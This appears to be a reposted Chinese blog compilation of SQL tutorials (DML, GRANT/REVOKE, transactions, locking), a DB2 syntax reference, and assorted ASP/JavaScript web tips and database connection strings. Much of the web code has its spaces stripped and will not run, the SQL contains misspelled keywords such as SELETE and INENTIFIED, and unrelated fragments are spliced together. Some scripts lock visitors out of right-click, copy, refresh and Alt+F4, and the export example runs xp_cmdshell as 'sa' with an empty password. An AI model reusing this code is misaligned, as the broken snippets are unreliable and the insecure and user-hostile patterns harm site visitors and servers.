CREATE TABLE stu_avggrade
(st_no CHAR(10) NOT NULL,//定义列st_no学号,类型为10位定长字符串,非空
age_grade SMALLINT NOT NULL )// 定义列age_grade平均分,类型为短整形,非空
INSERT INTO stu_avggrade(st_no,age_grade)
SELECT st_no,AVG(score)
FROM score
GROUP BY st_no //因为要求每一个学生所有课程的平均成绩,必须按学号分组进行计算。
2.数据删除
SQL的删除操作是指从基本表中删除满足WHERE<条件表达式>的记录。如果没有WHERE子句,则删除表中全部记录,但表结构依然存在。其语句格式为:
DELETE FROM表名[WHERE 条件表达式]
下面举例说明:
单元组的删除:把学号为100002的学生从表student中删除,可用以下语句:
DELETE FROM student
WHERE st_no=‘100002’//因为学号为100002的学生在表student中只有一个,所以为单元组的删除
多元组的删除:学号为100002的成绩从表score中删除,可用以下语句:
DELETE FROM score
WHERE st_no=‘100002’//由于学号为100002的元组在表score中可能有多个,所以为多元组删除
带有子查询的删除操作:删除所有不及格的学生记录,可用以下语句
DELETE FROM student
WHERE st_no IN
(SELETE st_no
FROM score
WHERE score<60)
3.数据修改
修改语句是按SET子句中的表达式,在指定表中修改满足条件表达式的记录的相应列值。其语句格式如下:
UPDATE 表名 SET 列名=列改变值[WHERE 条件表达式]
例:把c02的课程名改为英语,可以用下列语句:
UPDATE subject
SET su_subject=‘英语’
WHERE su_no=‘c02’
例:将课程成绩达到70分的学生成绩,再提高10%
UPDATE score
SET score=1.1*score
WHERE score>=70
SQL的删除语句和修改语句中的WHERE子句用法与SELECT中WHERE子句用法相同。数据的删除和修改操作,实际上要先做SELECT查询操作,然后再把找到的元组删除或修改。
##2 (四) 数据控制
由于数据库管理系统是一个多用户系统,为了控制用户对数据的存取权利,保持数据的共享及完全性,SQL语言提供了一系列的数据控制功能。其中,主要包括安全性控制、完整性控制、事务控制和并发控制。
1.安全性控制
数据的安全性是指保护数据库,以防非法使用造成数据泄露和破坏。保证数据安全性的主要方法是通过对数据库存取权力的控制来防止非法使用数据库中的数据。即限定不同用户操作不同的数据对象的权限。
存取权控制包括权力的授与、检查和撤消。权力授与和撤消命令由数据库管理员或特定应用人员使用。系统在对数据库操作前,先核实相应用户是否有权在相应数据上进行所要求的操作。
(1)权力授与:权力授与有数据库管理员专用的授权和用户可用的授权两种形式。数据库管理员专用授权命令格式如下:
|CONNECT |
GRANT|RESOURCE|TO 用户名[IDENTIFED BY 口令]
|DBA |
其中,CONNECT表示数据库管理员允许指定的用户具有连接到数据库的权力,这种授权是针对新用户;RESOURCE表示允许用户建立自己的新关系模式,用户获得CONNECT权力后,必须获得RESOURCE权力才能创建自己的新表;DBA表示数据库管理员将自己的特权授与指定的用户。若要同时授与某用户上述三种授权中的多种权力,则必须通过三个相应的GRANT命令指定。
另外,具有CONNECT和RESOURCE授权的用户可以建立自己的表,并在自己建立的表和视图上具有查询、插入、修改和删除的权力。但通常不能使用其他用户的关系,除非能获得其他用户转授给他的相应权力。
例:若允许用户SSE连接到数据库并可以建立他自己的关系,则可通过如下命令授与权力:
GRANT CONNECT TO SSE INENTIFIED BY BD1928
GRANT RESOURCE TO SSE
用户可用的授权是指用户将自己拥有的部分或全部权力转授给其他用户的命令形式,其命令格式如下:
|SELECT |
|INSERT |
|DELETE |
GRANT|UPDATE(列名1[,列名2]…)|ON|表名 |TO|用户名|[WITH GRANT OPTION]
|ALTER | |视图名| |PUBLIC|
|NDEX |
|ALL |

若对某一用户同时授与多种操作权力,则操作命令符号可用“,”相隔。
PUBLIC 表示将权力授与数据库的所有用户,使用时要注意:
任选项WITH GRANT OPTION表示接到授权的用户,具有将其所得到的同时权力再转授给其他用户权力。
例:如果将表student的查询权授与所有用户,可使用以下命令:
GRANT SELECT ON student TO PUBLIC
例:若将表subject的插入及修改权力授与用户SSE并使得他具有将这种权力转授他人的权力,则可使用以下命令:
GRANT INSERT,UPDATE(su_subject) ON subject TO SSE WITH GRANT OPTION
这里,UPDATE后面跟su_subject是指出其所能修改的列。
(2)权力回收:权力回收是指回收指定用户原已授与的某些权力。与权力授与命令相匹配,权力回收也有数据库管理员专用和用户可用的两种形式。
DBA专用的权力回收命令格式为:
|CONNECT |
REVOKE|RESOURCE|FROM用户名
|DBA |
用户可用的权力回收命令格式为:
|SELECT |
|INSERT |
|DELETE |
REVOKE|UPDATE(列名1[,列名2]…) |ON|表名 |FROM |用户名|
|ALTER | |视图名| |PUBLIC|
|INDEX |
|ALL |
例:回收用户SSE的DBA权力:
REVOKE DBA FROM SSE
2.完整性控制
数据库的完整性是指数据的正确性和相容性,这是数据库理论中的重要概念。完整性控制的主要目的是防止语义上不正确的数据进入数据库。关系系统中的完整性约束条件包括实体完整性、参照完整性和用户定义完整性。而完整性约束条件的定义主要是通过CREATE TABLE语句中的[CHECK]子句来完成。另外,还有一些辅助命令可以进行数据完整性保护。如UNIQUE和NOT NULL,前者用于防止重复值进入数据库,后者用于防止空值。
3.事务控制
事务是并发控制的基本单位,也是恢复的基本单位。在SQL中支持事务的概念。所谓事务,是用户定义的一个操作序列(集合),这些操作要么都做,要么一个都不做,是一个不可分割的整体。一个事务通常以BEGIN TRANSACTION开始,以COMMIT或ROLLBACK结束。
SQL提供了事务提交和事务撤消两种命令:
(1)事务提交:事务提交的命令为:
COMMIT [WORK]
事务提交标志着对数据库的某种应用操作成功地完成,所有对数据库的操作都必须作为事务提交给系统时才有效。事务一经提交就不能撤消。
(2)事务撤消:事务撤消的命令是:
ROLLBACK [WORK]
事务撤消标志着相应事务对数据库操作失败,因而要撤消对数据库的改变,即要“回滚”到相应事务开始时的状态。
当系统非正常结束时(如掉电、系统死机),将自动执行ROLLBACK命令
SQL还提供了自动提交事务的机制,其命令为:
SET AUTO COMMIT ON
其对应的人工工作方式命令为:
SET AUTO COMMIT OFF
一旦规定了自动提交事务方式,则系统将每条SQL命令视为一个事务,并在命令成功执行完成时自动地完成事务提交。
4.并发控制
数据库作为共享资源,允许多个用户程序并行地存取数据。当多个用户并行地操作数据库时,需要通过并发控制对它们加以协调、控制,以保证并发操作的正确执行,并保证数据库的一致性。
在SQL中,并发控制采用封锁技术实现,当一个事务欲对某个数据对象操作时,可申请对该对象加锁,取得对数据对象的一定控制,以限制其他事务对该对象的操作。其语句格式为:
|SHARE |
LOCK TABLE 表名(或表名集合)IN |EXCLUSVE |MODE [NOWAIT]
|SHARE UPDATE|
其中,表名(或表名集合)中指出封锁对象,若为多个表名,则各个表名间以“,”相隔;任选项NOWAIT表示多个用户要求封锁相同的关系时,后来提出的要求会被立即退回去,否则会等待该资源释放。
SHARE表示共享封锁方式;EXCLUSIVE表示独占封锁方式;SHARE UPDAE表示共享更新封锁方式。其中共享封锁方式允许其他事务读同一数据,但防止其他事务对已封锁的表进行更新,该锁主要防止在表的两次查询之间对该表的改动;共享更新封锁SHARE UPDATE是一个行封锁机制,它可改善表级封锁的并行性,它能允许并发事务读和修改一个表中的不同的行;独占封锁方式EXCLUSIVE禁止其他事务获得一个共享锁且禁止其他事务执行任何数据操作语句,即一旦某个运行事务对某个数据对象施加了排它锁,则其他任何事务都不能再对该数据对象施加任何方式的锁,只有处于等待状态。如果不想无限等待,则选择NOWAIT。
PHP(Hypertext Preprocessor,超文本预处理器)是一个递归的缩写名称,它是一种内嵌在HTML页面内的脚本语言。它的功能强大,使用方便,开发难度不大,而且可以免费使用。


SQL语法参考手册

日期:2000-9-14 15:41:00
出处:未知
作者:未知

DB2 提供了关连式资料库的查询语言 SQL (Structured Query Language),是一种非常口语化、既易学又易懂的语法。 此一语言几乎是每个资料库系统都必须提供的,用以表示关连式的操作,包含了资料的定义(DDL)以及资料的处理(DML)。SQL原来拼成SEQUEL,这语言的原型以“系统 R“的名字在 IBM 圣荷西实验室完成,经过IBM内部及其他的许多使用性及效率测试,其结果相当令人满意,并决定在系统R 的技术基础发展出来 IBM 的产品。而且美国国家标准学会(ANSI)及国际标准化组织(ISO)在1987遵循一个几乎是以 IBM SQL 为基础的标准关连式资料语言定义。

一、资料定义 DDL(Data Definition Language)
资料定语言是指对资料的格式和形态下定义的语言,他是每个资料库要建立时候时首先要面对的,举凡资料分哪些表格关系、表格内的有什麽栏位主键、表格和表格之间互相参考的关系等等,都是在开始的时候所必须规划好的。

1、建表格:
CREATE TABLE table_name(
column1 DATATYPE [NOT NULL] [NOT NULL PRIMARY KEY],
column2 DATATYPE [NOT NULL],
...)
说明: 
DATATYPE --是资料的格式,详见表。
NUT NULL --可不可以允许资料有空的(尚未有资料填入)。
PRIMARY KEY --是本表的主键。

2、更改表格 
ALTER TABLE table_name
ADD COLUMN column_name DATATYPE
说明:增加一个栏位(没有删除某个栏位的语法。
ALTER TABLE table_name
ADD PRIMARY KEY (column_name)
说明:更改表得的定义把某个栏位设为主键。
ALTER TABLE table_name
DROP PRIMARY KEY (column_name)
说明:把主键的定义删除。

3、建立索引 
CREATE INDEX index_name ON table_name (column_name)
说明:对某个表格的栏位建立索引以增加查询时的速度。

4、删除 
DROP table_name
DROP index_name

二、的资料形态 DATATYPEs
smallint
16 位元的整数。
interger
32 位元的整数。
decimal(p,s)
p 精确值和 s 大小的十进位整数,精确值p是指全部有几个数(digits)大小值,s是指小数
点後有几位数。如果没有特别指定,则系统会设为 p=5; s=0 。
float
32位元的实数。
double
64位元的实数。
char(n)
n 长度的字串,n不能超过 254。
varchar(n)
长度不固定且其最大长度为 n 的字串,n不能超过 4000。
graphic(n)
和 char(n) 一样,不过其单位是两个字元 double-bytes, n不能超过127。这个形态是为
了支援两个字元长度的字体,例如中文字。
vargraphic(n)
可变长度且其最大长度为 n 的双字元字串,n不能超过 2000。
date
包含了 年份、月份、日期。
time
包含了 小时、分钟、秒。
timestamp
包含了 年、月、日、时、分、秒、千分之一秒。

三、资料操作 DML (Data Manipulation Language)
资料定义好之後接下来的就是资料的操作。资料的操作不外乎增加资料(insert)、查询资料(query)、更改资料(update) 、删除资料(delete)四种模式,以下分 别介绍他们的语法:

1、增加资料:
INSERT INTO table_name (column1,column2,...)
VALUES ( value1,value2, ...)
说明:
1.若没有指定column 系统则会按表格内的栏位顺序填入资料。
2.栏位的资料形态和所填入的资料必须吻合。
3.table_name 也可以是景观 view_name。

INSERT INTO table_name (column1,column2,...)
SELECT columnx,columny,... FROM another_table
说明:也可以经过一个子查询(subquery)把别的表格的资料填入。

2、查询资料:
基本查询
SELECT column1,columns2,...
FROM table_name
说明:把table_name 的特定栏位资料全部列出来
SELECT *
FROM table_name
WHERE column1 = xxx
[AND column2 > yyy] [OR column3 <> zzz]
说明:
1.'*'表示全部的栏位都列出来。
2.WHERE 之後是接条件式,把符合条件的资料列出来。

SELECT column1,column2
FROM table_name
ORDER BY column2 [DESC]
说明:ORDER BY 是指定以某个栏位做排序,[DESC]是指从大到小排列,若没有指明,则是从小到大
排列

组合查询
组合查询是指所查询得资料来源并不只有单一的表格,而是联合一个以上的
表格才能够得到结果的。
SELECT *
FROM table1,table2
WHERE table1.colum1=table2.column1
说明:
1.查询两个表格中其中 column1 值相同的资料。
2.当然两个表格相互比较的栏位,其资料形态必须相同。
3.一个复杂的查询其动用到的表格可能会很多个。

整合性的查询:
SELECT COUNT (*)
FROM table_name
WHERE column_name = xxx
说明:
查询符合条件的资料共有几笔。
SELECT SUM(column1)
FROM table_name
说明:
1.计算出总和,所选的栏位必须是可数的数字形态。
2.除此以外还有 AVG() 是计算平均、MAX()、MIN()计算最大最小值的整合性查询。
SELECT column1,AVG(column2)
FROM table_name
GROUP BY column1
HAVING AVG(column2) > xxx
说明:
1.GROUP BY: 以column1 为一组计算 column2 的平均值必须和 AVG、SUM等整合性查询的关键字
一起使用。
2.HAVING : 必须和 GROUP BY 一起使用作为整合性的限制。

复合性的查询
SELECT *
FROM table_name1
WHERE EXISTS (
SELECT *
FROM table_name2
WHERE conditions )
说明:
1.WHERE 的 conditions 可以是另外一个的 query。
2.EXISTS 在此是指存在与否。
SELECT *
FROM table_name1
WHERE column1 IN (
SELECT column1
FROM table_name2
WHERE conditions )
说明: 
1. IN 後面接的是一个集合,表示column1 存在集合里面。
2. SELECT 出来的资料形态必须符合 column1。

其他查询
SELECT *
FROM table_name1
WHERE column1 LIKE 'x%'
说明:LIKE 必须和後面的'x%' 相呼应表示以 x为开头的字串。
SELECT *
FROM table_name1
WHERE column1 IN ('xxx','yyy',..)
说明:IN 後面接的是一个集合,表示column1 存在集合里面。
SELECT *
FROM table_name1
WHERE column1 BETWEEN xx AND yy
说明:BETWEEN 表示 column1 的值介於 xx 和 yy 之间。

3、更改资料:
UPDATE table_name
SET column1='xxx'
WHERE conditoins
说明:
1.更改某个栏位设定其值为'xxx'。
2.conditions 是所要符合的条件、若没有 WHERE 则整个 table 的那个栏位都会全部被更改。

4、删除资料:
DELETE FROM table_name
WHERE conditions
说明:删除符合条件的资料。

说明:关于WHERE条件后面如果包含有日期的比较,不同数据库有不同的表达式。具体如下:
(1)如果是ACCESS数据库,则为:WHERE mydate>#2000-01-01#
(2)如果是ORACLE数据库,则为:WHERE mydate>cast('2000-01-01' as date)
或:WHERE mydate>to_date('2000-01-01','yyyy-mm-dd')
在Delphi中写成:
thedate= '2000-01-01';
query1.SQL.add('select * from abc where mydate>cast('+''+thedate+''+' as date)');

如果比较日期时间型,则为:
WHERE mydatetime>to_date('2000-01-01 10:00:01','yyyy-mm-dd hh24:mi:ss')

posted @ 2005-07-14 16:52 一天一点爱恋 阅读(773) | 评论 (0)编辑 收藏
 
1.oncontextmenu="window.event.returnvalue=false"将彻底屏蔽鼠标右键
oncontextmenu=self.event.returnValue=false
oncontextmenu="return false"
<tableborderoncontextmenu=return(false)><td>no</table>可用于Table

2.<bodyonselectstart="returnfalse">取消选取、防止复制

3.onpaste="returnfalse"不准粘贴

4.oncopy="returnfalse;"oncut="returnfalse;"防止复制

5.<linkrel="ShortcutIcon"href="favicon.ico">IE地址栏前换成自己的图标

6.<linkrel="Bookmark"href="favicon.ico">可以在收藏夹中显示出你的图标

7.<inputstyle="ime-mode:disabled">关闭输入法

8.永远都会带着框架
<scriptlanguage="javascript"><!--
if(window==top)top.location.href="frames.htm";//frames.htm为框架网页
//--></script>

9.防止被人frame
<SCRIPTLANGUAGE=javascript><!--
if(top.location!=self.location)top.location=self.location;
//--></SCRIPT>

10.<noscript><iframesrc=*.html></iframe></noscript>网页将不能被另存为

11.<inputtype=buttonvalue=查看网页源代码
onclick="window.location='view-source:'+'<IMG src="pic/url.gif" align=absMiddle border=0>http://www.csdn.net/">

12.怎样通过asp的手段来检查来访者是否用了代理
<%ifRequest.ServerVariables("HTTP_X_FORWARDED_FOR")<>""then
response.write"<fontcolor=#FF0000>您通过了代理服务器,"&_
"真实的IP为"&Request.ServerVariables("HTTP_X_FORWARDED_FOR")
endif
%>

13.取得控件的绝对位置

//javascript
<scriptlanguage="javascript">
functiongetIE(e){
vart=e.offsetTop;
varl=e.offsetLeft;
while(e=e.offsetParent){
t+=e.offsetTop;
l+=e.offsetLeft;
}
alert("top="+t+"\nleft="+l);
}
</script>

//VBScript
<scriptlanguage="VBScript"><!--
functiongetIE()
dimt,l,a,b
seta=document.all.img1
t=document.all.img1.offsetTop
l=document.all.img1.offsetLeft
whilea.tagName<>"BODY"
seta=a.offsetParent
t=t+a.offsetTop
l=l+a.offsetLeft
wend
msgbox"top="&t&chr(13)&"left="&l,64,"得到控件的位置"
endfunction
--></script>

14.光标是停在文本框文字的最后
<scriptlanguage="javascript">
functioncc()
{
vare=event.srcElement;
varr=e.createTextRange();
r.moveStart('character',e.value.length);
r.collapse(true);
r.select();
}
</script>
<inputtype=textname=text1value="123"onfocus="cc()">

15.判断上一页的来源
asp:
request.servervariables("HTTP_REFERER")

javascript:
document.referrer

16.最小化、最大化、关闭窗口
<objectid=hh1classid="clsid:ADB880A6-D8FF-11CF-9377-00AA003B7A11">
<paramname="Command"value="Minimize"></object>
<objectid=hh2classid="clsid:ADB880A6-D8FF-11CF-9377-00AA003B7A11">
<paramname="Command"value="Maximize"></object>
<OBJECTid=hh3classid="clsid:adb880a6-d8ff-11cf-9377-00aa003b7a11">
<PARAMNAME="Command"value="Close"></OBJECT>

<inputtype=buttonvalue=最小化onclick=hh1.Click()>
<inputtype=buttonvalue=最大化onclick=hh2.Click()>
<inputtype=buttonvalue=关闭onclick=hh3.Click()>
本例适用于IE

17.
<%
'定义数据库连接的一些常量
ConstadOpenForwardOnly=0'游标只向前浏览记录,不支持分页、Recordset、BookMark
ConstadOpenKeyset=1'键集游标,其他用户对记录说做的修改将反映到记录集中,但其他用户增加或删除记录不会反映到记录集中。支持分页、Recordset、BookMark
ConstadOpenDynamic=2'动态游标功能最强,但耗资源也最多。用户对记录说做的修改,增加或删除记录都将反映到记录集中。支持全功能浏览(ACCESS不支持)。
ConstadOpenStatic=3'静态游标,只是数据的一个快照,用户对记录说做的修改,增加或删除记录都不会反映到记录集中。支持向前或向后移动

ConstadLockReadOnly=1'锁定类型,默认的,只读,不能作任何修改
ConstadLockPessimistic=2'当编辑时立即锁定记录,最安全的方式
ConstadLockOptimistic=3'只有在调用Update方法时才锁定记录集,而在此前的其他操作仍可对当前记录进行更改、插入和删除等
ConstadLockBatchOptimistic=4'当编辑时记录不会被锁定,而更改、插入和删除是在批处理方式下完成的

ConstadCmdText=&H0001
ConstadCmdTable=&H0002
%>

18.网页不会被缓存
HTM网页
<METAHTTP-EQUIV="pragma"CONTENT="no-cache">
<METAHTTP-EQUIV="Cache-Control"CONTENT="no-cache,must-revalidate">
<METAHTTP-EQUIV="expires"CONTENT="Wed,26Feb199708:21:57GMT">
或者<METAHTTP-EQUIV="expires"CONTENT="0">
ASP网页
Response.Expires=-1
Response.ExpiresAbsolute=Now()-1
Response.cachecontrol="no-cache"
PHP网页
header("Expires:Mon,26Jul199705:00:00GMT");
header("Cache-Control:no-cache,must-revalidate");
header("Pragma:no-cache");


19.检查一段字符串是否全由数字组成
<scriptlanguage="javascript"><!--
functioncheckNum(str){returnstr.match(/\D/)==null}
alert(checkNum("1232142141"))
alert(checkNum("123214214a1"))
//--></script>

20.获得一个窗口的大小
document.body.clientWidth,document.body.clientHeight

21.怎么判断是否是字符
if(/[^\x00-\xff]/g.test(s))alert("含有汉字");
elsealert("全是字符");

22.TEXTAREA自适应文字行数的多少
<textarearows=1 name=s1 cols=27 onpropertychange="this.style.posHeight=this.scrollHeight">
</textarea>

23.日期减去天数等于第二个日期
<scriptlanguage=javascript>
functioncc(dd,dadd)
{
//可以加上错误处理
vara=newDate(dd)
a=a.valueOf()
a=a-dadd*24*60*60*1000
a=newDate(a)
alert(a.getFullYear()+"年"+(a.getMonth()+1)+"月"+a.getDate()+"日")
}
cc("12/23/2002",2)
</script>

24.选择了哪一个Radio
<HTML><scriptlanguage="vbscript">
functioncheckme()
foreachobinradio1
ifob.checkedthenwindow.alertob.value
next
endfunction
</script><BODY>
<INPUT name="radio1" type="radio" value="style" checked>Style
<INPUT name="radio1" type="radio" value="barcode">Barcode
<INPUT type="button" value="check"onclick="checkme()">
</BODY></HTML>

25.获得本页url的request.servervariables("")集合
Response.Write"<TABLEborder=1><!--TableHeader--><TR><TD><B>Variables</B></TD><TD><B>value</B></TD></TR>"
foreachobinRequest.ServerVariables
Response.Write"<TR><TD>"&ob&"</TD><TD>"&Request.ServerVariables(ob)&"</TD></TR>"
next
Response.Write"</TABLE>"

26.
本机ip<%=request.servervariables("remote_addr")%>
服务器名<%=Request.ServerVariables("SERVER_NAME")%>
服务器IP<%=Request.ServerVariables("LOCAL_ADDR")%>
服务器端口<%=Request.ServerVariables("SERVER_PORT")%>
服务器时间<%=now%>
IIS版本<%=Request.ServerVariables"SERVER_SOFTWARE")%>
脚本超时时间<%=Server.ScriptTimeout%>
本文件路径<%=server.mappath(Request.ServerVariables("SCRIPT_NAME"))%>
服务器CPU数量<%=Request.ServerVariables("NUMBER_OF_PROCESSORS")%>
服务器解译引擎<%=ScriptEngine&"/" & ScriptEngineMajorVersion &"." & ScriptEngineMinorVersion & "." & ScriptEngineBuildVersion%>
服务器操作系统<%=Request.ServerVariables("OS")%>

27.ENTER键可以让光标移到下一个输入框
<input onkeydown="if(event.keyCode==13)event.keyCode=9">

28.检测某个网站的链接速度:
把如下代码加入<body>区域中:
<scriptlanguage=javascript>
tim=1
setInterval("tim++",100)
b=1

varautourl=newArray()
autourl[1]="< src="pic/url.gif" align=absMiddle border=0>www.njcatv.net"
autourl[2]="javacool.3322.net"
autourl[3]="< src="pic/url.gif" align=absMiddle border=0>www.sina.com.cn"
autourl[4]="www.nuaa.edu.cn"
autourl[5]="< src="pic/url.gif" align=absMiddle border=0>www.cctv.com"

functionbutt(){
document.write("<formname=autof>")
for(vari=1;i<autourl.length;i++)
document.write("<inputtype=textname=txt"+i+"size=10value=测试中……>=》<inputtype=textname=url"+i+"size=40>=》<inputtype=buttonvalue=GOonclick=window.open(this.form.url"+i+".value)><br/>")
document.write("<inputtype=submitvalue=刷新></form>")
}
butt()
functionauto(url){
document.forms[0]["url"+b].value=url
if(tim>200)
{document.forms[0]["txt"+b].value="链接超时"}
else
{document.forms[0]["txt"+b].value="时间"+tim/10+"秒"}
b++
}
functionrun(){for(vari=1;i<autourl.length;i++)document.write("<imgsrc=http://"+autourl[i]+"/"+Math.random()+"width=1height=1onerror=auto('< src="pic/url.gif" align=absMiddle border=0>http://";+autourl[i]+"')>")}
run()</script>

29.各种样式的光标
auto:标准光标
default:标准箭头
hand:手形光标
wait:等待光标
text:I形光标
vertical-text:水平I形光标
no-drop:不可拖动光标
not-allowed:无效光标
help:?帮助光标
all-scroll:三角方向标
move:移动标
crosshair:十字标
e-resize
n-resize
nw-resize
w-resize
s-resize
se-resize
sw-resize

-------------------------------------------------


Kafree另外收集增加的:

1,屏蔽鼠标右键、Ctrl+n、shift+F10、F5刷新、退格键

<body onkeydown="KeyDown()"
oncontextmenu="event.returnValue=false">

<script language="Javascript"><!--
//屏蔽鼠标右键、Ctrl+n、shift+F10、F5刷新、退格键
//Author: meizz(梅花雨) 2002-6-18

function KeyDown(){
if ((window.event.altKey)&&
((window.event.keyCode==37)|| //屏蔽 Alt+ 方向键 ←
(window.event.keyCode==39))){ //屏蔽 Alt+ 方向键 →
alert("不准你使用ALT+方向键前进或后退网页!");
event.returnValue=false;
}

/* 注:这还不是真正地屏蔽 Alt+ 方向键,
因为 Alt+ 方向键弹出警告框时,按住 Alt 键不放,
用鼠标点掉警告框,这种屏蔽方法就失效了。以后若
有哪位高手有真正屏蔽 Alt 键的方法,请告知。*/

if ((event.keyCode==8) || //屏蔽退格删除键
(event.keyCode==116)|| //屏蔽 F5 刷新键
(event.ctrlKey && event.keyCode==82)){ //Ctrl + R
event.keyCode=0;
event.returnValue=false;
}
if ((event.ctrlKey)&&(event.keyCode==78)) //屏蔽 Ctrl+n
event.returnValue=false;
if ((event.shiftKey)&&(event.keyCode==121)) //屏蔽 shift+F10
event.returnValue=false;
if (window.event.srcElement.tagName == "A" && window.event.shiftKey)
window.event.returnValue = false; //屏蔽 shift 加鼠标左键新开一网页
if ((window.event.altKey)&&(window.event.keyCode==115)){ //屏蔽Alt+F4
window.showModelessDialog("about:blank","","dialogWidth:1px;dialogheight:1px");
return false;}
}
/* 另外可以用 window.open 的方法屏蔽 IE 的所有菜单
第一种方法:
window.open("你的.htm", "","toolbar=no,location=no,directories=no,menubar=no,scrollbars=no,resizable=yes,status=no,top=0,left=0")
第二种方法是打开一个全屏的页面:
window.open("你的.asp", "", "fullscreen=yes")
*/
// --></script>
<h2 align=center>屏蔽鼠标右键、Ctrl+n、shift+F10、F5刷新、退格键</h2>
</body>
</html>

2,RecordSet属性和方法
   为了更精确地跟踪数据,要用RecordSet组件创建包含数据的游标,游标就是储存在内存中的数据。
   rs = Server.CreateObject("ADODB.RecordSet")
   rs.Open(sqlStr,conn,1,A)
   注:A=1读取
   A=3 新增、修改、删除
   在RecordSet组件中,常用的属性和方法有:
   rs.Fields.Count: RecordSet对象的字段数。
   rs(i).Name: 第i个字段的名称,i为0至rs.Fields.Count-1
   rs(i): 第i个字段的数据,i为0至rs.Fields.Count-1
   rs("字段名"): 指定字段的数据。
   rs.Record.Count:游标中的数据记录总数。
   rs.EOF: 是否最后一条记录。
   rs.MoveFirst: 指向第一条记录。
   rs.MoveLast: 指向最后一条记录。
   rs.MovePrev: 指向上一条记录。
   rs.MoveNext: 指向下一条记录。
   rs.GetRows: 将数据放入数组中。
   rs.Properties.Count:ADO的ResultSet或Connection的属性个数。
   rs.Properties(item).Name:ADO的ResultSet或Connection的名称。
   rs.Properties: ADO的ResultSet或Connection的值。
   rs.close(): 关闭连接。

3,本地无缓存,每次自动刷新
response.expires=0
response.addHeader"pragma","no-cache"
response.addHeader"cache-control","private"

4,修改contentType并下载gif等格式
<%
function dl(f,n)
onerrorresumenext

sets=CreateObject("Adodb.Stream")
S.Mode=3
S.Type=1
S.Open
s.LoadFromFile(server.mappath(f))
iferr.number>0then
response.writeerr.number&":"&err.description
else
response.contentType="application/x-gzip"
response.addheader"Content-Disposition:","attachment;filename="&n
response.binarywrite(s.Read(s.size))
endif
endfunction

call dl("012922501.gif","t1.gif") %>

5,常用的几种数据库连接代码
1) MS Access数据库连接
用DSN连接并且没有用户名和密码:
<%
set conn = Server.CreateObject("ADODB.Connection")
conn.open "YourDSNName"
%>

2) 用DSN连接并且有用户名和密码:
<%
set conn = Server.CreateObject("ADODB.Connection")
conn.open "YourDSNName","username","password"
%>

3) 用实际的数据库绝对路径连接:
<%
Set conn = Server.CreateObject("ADODB.Connection")
Strconn="DRIVER={Microsoft Access Driver (*.mdb)}; "
Strconn=Strconn & "DBQ=e:\yanhang\database.mdb"
conn.Open Strconn
%>

4) 用实际的数据库相对路径连接:
<%
Set conn = Server.CreateObject("ADODB.Connection")
Strconn="DRIVER={Microsoft Access Driver (*.mdb)}; "
Strconn=Strconn & "DBQ=" & Server.MapPath("/database/yanhang.mdb")
conn.Open Strconn
%>

5) MS SQL Server数据库连接
用DSN连接:
<%
set conn = Server.CreateObject("ADODB.Connection")
conn.open "DSN=MyDSN;UID=user;PWD=password;DATABASE=databasename"
%>

6) 不用DSN连接:
<%
Set conn = Server.CreateObject("ADODB.Connection")
DSNtemp="DRIVER={SQL Server};SERVER=ServerName;UID=USER;PWD=password;DATABASE=databasename"
conn.open DSNtemp
%>

7) FoxPro数据库连接
<%
Set Conn = Server.CreateObject("ADODB.connection")
ConnStr= "Driver=Microsoft Visual Foxpro Driver; UID=userID;SourceType=DBC;SourceDB=C:\yanhang\database.dbc"
Conn.Open ConnStr
%>

8) Oracle数据库连接:
<%
set conn=server.createobject("adodb.connection")
conn.cursorlocation=adUseClient
DSNTemp="Provider=MSDAORA.1;Password=xxxxx;User ID=yanhang;Data Source=xxx.world"
conn.open DSNtemp
%>

9) Paradox数据库连接:
<%
set conn=server.createobject("adodb.connection")
conn.cursorlocation=adUseClient
DSNTemp="driver={Microsoft Paradox Driver (*.db)};DriverID=538;Fil=Paradox 5.X;DefaultDir=c:\dbpath\;Dbq=c:\dbpath\;CollatingSequence=ASCII;"
conn.open DSNtemp
%>

10) Sybase数据库连接:
<%
set conn=server.createobject("adodb.connection")
conn.cursorlocation=adUseClient
DSNTemp="Driver={SYBASE SYSTEM 11};Srvr=myServerName;Uid=myUsername;Pwd=myPassword;"
conn.open DSNtemp
%>

11) Text数据库连接:
<%
set conn=server.createobject("adodb.connection")
conn.cursorlocation=adUseClient
DSNTemp="Driver={Microsoft Text Driver (*.txt; *.csv)};Dbq=c:\somepath\;Extensions=asc,csv,tab,txt;Persist Security Info=False"
conn.open DSNtemp
'调用 test.csv 的文件
Set rs=server.createobject("adodb.recordset")
rs.open "select * from test.csv",conn,1,3
%>

6,使用 XML 静态读取网页
代码如下:

<script>
var oDiv //添加用的节点
var nP //DIV的 padding-left
var xh //xmlhttp
function getXML()
{
oDiv = document.all.m
oDiv.innerHTML = "正在装载栏目数据,请稍侯......."
oDiv.style.display= ""
xh = new ActiveXObject("Microsoft.XMLHTTP")
xh.onreadystatechange = getReady
xh.open("GET",a.value,true)
xh.send()
}

function getReady()
{
if(xh.readyState==4)
{
if(xh.status==200)
{

oDiv.innerHTML = "完成"
}
else
{
oDiv.innerHTML = "抱歉,装载数据失败。原因:" + xh.statusText
}
}
}
</script>
URL:<input name=a value="http://www.microsoft.com">
<input onclick="getXML()" type="button" value="get HTML">
<input onclick="if(xh && xh.responseText) oDiv.innerHTML=xh.responseText" type="button" value="output">
<div id=m></div>

7,SQL SERVER 和EXCEL的数据导入导出
1)、在SQL SERVER里查询Excel数据:
SELECT * FROM OpenDataSource( 'Microsoft.Jet.OLEDB.4.0','Data Source="c:\book1.xls";User ID=Admin;Password=;Extended properties=Excel 5.0')...[Sheet1$]

下面是个查询的示例,它通过用于 Jet 的 OLE DB 提供程序查询 Excel 电子表格。
SELECT * FROM OpenDataSource ( 'Microsoft.Jet.OLEDB.4.0', 'Data Source="c:\Finance\account.xls";User ID=Admin;Password=;Extended properties=Excel 5.0')...xactions

2)、将Excel的数据导入SQL server :
SELECT * into newtable FROM OpenDataSource( 'Microsoft.Jet.OLEDB.4.0', 'Data Source="c:\book1.xls";User ID=Admin;Password=;Extended properties=Excel 5.0')...[Sheet1$]

实例分析:
SELECT * into newtable FROM OpenDataSource( 'Microsoft.Jet.OLEDB.4.0', 'Data Source="c:\Finance\account.xls";User ID=Admin;Password=;Extended properties=Excel 5.0')...xactions

3)、将SQL SERVER中查询到的数据导成一个Excel文件
T-SQL代码:
EXEC master..xp_cmdshell 'bcp 库名.dbo.表名out c:\Temp.xls -c -q -S"servername" -U"sa" -P""'
参数:S 是SQL服务器名;U是用户;P是密码
说明:还可以导出文本文件等多种格式

